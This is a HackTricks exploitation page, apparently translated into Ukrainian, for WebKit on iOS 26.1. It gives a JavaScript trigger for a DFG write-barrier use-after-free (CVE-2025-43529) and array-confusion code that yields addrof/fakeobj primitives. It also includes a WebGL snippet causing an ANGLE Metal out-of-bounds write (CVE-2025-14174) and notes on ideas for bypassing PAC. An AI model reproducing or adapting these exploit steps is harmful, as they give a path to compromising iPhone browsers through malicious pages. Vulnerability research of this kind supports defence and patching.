WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Summary

  • DFG Store Barrier bug (CVE-2025-43529): У DFGStoreBarrierInsertionPhase.cpp ситуація, коли Phi node позначено як escaped, тоді як його Upsilon inputs — ні, призводить до того, що фаза пропускає вставлення write barrier для наступних записів у об’єкти. Під тиском GC це дозволяє JSC звільняти ще досяжні об’єкти → use-after-free.
  • Exploit target: Змусити об’єкт Date матеріалізувати butterfly (наприклад, a[0] = 1.1), щоб butterfly було звільнено, а потім перевикористано як сховище елементів масиву для створення плутанини boxed/unboxed → addrof/fakeobj primitives.
  • ANGLE Metal PBO bug (CVE-2025-14174): Metal backend виділяє PBO staging buffer, використовуючи UNPACK_IMAGE_HEIGHT замість реальної висоти текстури. Якщо задати маленьку unpack height і потім викликати великий texImage2D, це спричиняє staging-buffer OOB write (~240KB у наведеному PoC нижче).
  • PAC blockers on arm64e (iOS 26.1): TypedArray m_vector і JSArray butterfly підписані PAC; підробка fake objects з вказівниками, вибраними зловмисником, призводить до аварії з EXC_BAD_ACCESS/EXC_ARM_PAC. Працює тільки повторне використання вже підписаних butterflies (reinterpretation boxed/unboxed).

Виклик відсутнього DFG write barrier → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Ключові моменти:

  • Помістіть A в old space, щоб задіяти generational barriers.
  • Створіть проіндексований Date, щоб butterfly став цільовим звільненим об’єктом.
  • Spray ArrayBuffer(0x800000), щоб примусити GC і розширити race.
  • Невідповідність escape Phi/Upsilon зупиняє вставку barrier; b.p1 = a виконується without a write barrier, тож GC reclaims a/butterfly.

Butterfly reclaim → boxed/unboxed confusion

Після того як GC звільнить Date butterfly, spray arrays так, щоб freed slab був повторно використаний як elements для двох arrays з різними element kinds:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Статус на iOS 26.1 (arm64e):

  • Працює: addrof, fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields).
  • Ще нестабільно: generalized read64/write64 via inline-slot backings.

Обмеження PAC на arm64e (чому fake objects аварійно завершують роботу)

  • TypedArray m_vector та JSArray butterfly підписані PAC; підробка вказівників призводить до EXC_BAD_ACCESS / ймовірно EXC_ARM_PAC.
  • Примітив confusion працює, тому що він reuses legitimate signed butterflies; введення unsigned attacker pointers не проходить автентифікацію.
  • Зауважені потенційні ідеї обходу: JIT paths, які пропускають auth; gadgets, що підписують attacker pointers; або pivoting через ANGLE OOB.

Недостатнє виділення ANGLE Metal PBO → OOB write

Використайте дуже малий unpack height, щоб зменшити staging buffer, потім завантажте велику texture, щоб the copy overruns:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Примітки:

  • Помилка в TextureMtl.cpp: staging buffer використовує UNPACK_IMAGE_HEIGHT замість фактичної висоти текстури на шляху PBO.
  • У референсній перевірці тригер WebGL2 PBO підключено, але на iOS 26.1 його поки що не спостерігали надійно.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks